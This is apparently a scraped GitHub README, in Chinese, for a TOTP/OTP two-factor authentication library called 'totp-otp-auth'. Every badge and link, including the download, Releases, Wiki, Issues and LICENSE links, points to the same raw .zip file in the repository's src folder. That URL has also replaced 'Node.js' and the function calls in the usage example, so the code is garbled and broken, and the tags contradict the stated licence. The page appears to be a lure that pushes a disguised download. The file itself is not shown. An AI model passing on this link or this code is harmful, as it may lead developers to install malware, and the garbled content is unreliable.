ShulpeXTechnology/totp-otp-auth

GitHub: ShulpeXTechnology/totp-otp-auth

这是一个适用于 Node.js、Bun 和 Deno 的零依赖库,旨在帮助开发者安全地实现 TOTP/OTP 双因素认证功能。

Stars: 0 | Forks: 0

# 🔑 totp-otp-auth - 让安全认证变得简单 [![npm version](https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip)](https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip) ![npm version](https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip) [![License: MIT](https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip)](https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip) ## 🌟 简介 TOTP/OTP Auth 是一个简单的库,可帮助您通过双因素认证保护应用程序。它与 Google Authenticator 和 Authy 等流行工具配合良好。您可以轻松生成代码、创建二维码并验证令牌。该库没有复杂的设置,非常适合任何人使用。 ## 📦 功能 - 🔐 **符合标准:** 遵循 RFC 6238 (TOTP) 和 RFC 4226 (HOTP)。 - 🎯 **无额外依赖:** 仅使用内置的 https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip crypto 功能。 - 📱 **兼容性:** 可与所有主流身份验证器应用一起使用。 - 🖼️ **轻松生成二维码:** 创建 SVG 和 Base64 格式的二维码。 - 🔧 **TypeScript 支持:** 完整支持 TypeScript,并提供清晰的类型定义。 - ⚡ **跨平台:** 可在 https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip、Bun 和 Deno 环境中使用。 - 🛡️ **注重安全:** 执行恒定时间比较,无需存储密钥。 ## 🚀 快速开始 开始使用该库非常简单。您只需从 Releases 页面下载它,并按照设置说明操作即可。 ### 🔗 下载链接 [![Download totp-otp-auth](https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip)](https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip) ## 📥 下载与安装 要获取该库,请访问 [Releases 页面](https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip) 下载最新版本。您将找到所需的文件。下载后,请按照以下说明操作: 1. **对于 https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip 和 Bun 用户:** - 打开终端或命令提示符。 - 运行以下命令安装该库: npm install totp-otp-auth 2. **对于 Deno 用户:** - 您可以通过导入该库,直接在 Deno 项目中使用它: import { totp } from "https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip"; ### 📋 系统要求 - **https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip** 版本 12.x 或更高。 - **Bun:** 建议使用最新版本。 - **Deno:** 版本 1.0 或更高。 ## 📚 使用示例 安装该库后,您可以按照以下方式生成 TOTP 令牌: ``` import { totp } from 'totp-otp-auth'; const secret = 'yourSecretKey'; const token = https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip(secret); // Verifying the token const isValid = https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip(token, secret); https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip(`Token is valid: ${isValid}`); ``` 此示例生成一个 TOTP 令牌并对其进行验证。您可以轻松地根据自己的需求进行调整。 ## 📖 文档 有关更详细的信息,请查看 [Wiki 部分](https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip)。其中包含高级配置和集成的指南以及其他示例。 ## 🤝 贡献 如果您想做出贡献,欢迎 fork 该仓库。您可以提交新功能或错误修复的 pull request。方法如下: 1. Fork 该仓库。 2. 创建一个功能分支 (`git checkout -b feature/YourFeature`)。 3. 提交您的更改 (`git commit -m 'Add some feature'`)。 4. 推送到该分支 (`git push origin feature/YourFeature`)。 5. 打开一个 pull request。 欢迎您的贡献! ## 📞 支持 如果您遇到任何问题,请参考 [Issues](https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip) 页面。您可以在那里报告错误或寻求帮助。 ## 📜 许可证 该项目采用 MIT 许可证。您可以自由地在您的应用程序中使用此库。 请务必查看 [LICENSE](https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip) 文件了解详情。 现在您已准备好在应用程序中实现强大、安全的身份验证!祝您编码愉快!
标签:2FA, Authy, Base64, Bun, Deno, GNU通用公共许可证, Google Authenticator, HOTP, MITM代理, Node.js, OTP, RFC 4226, RFC 6238, SVG, TOTP, TypeScript, YAML, 二维码生成, 加密, 双因素认证, 多因素认证, 安全库, 安全插件, 恒定时间比较, 漏洞扫描器, 自定义脚本, 零依赖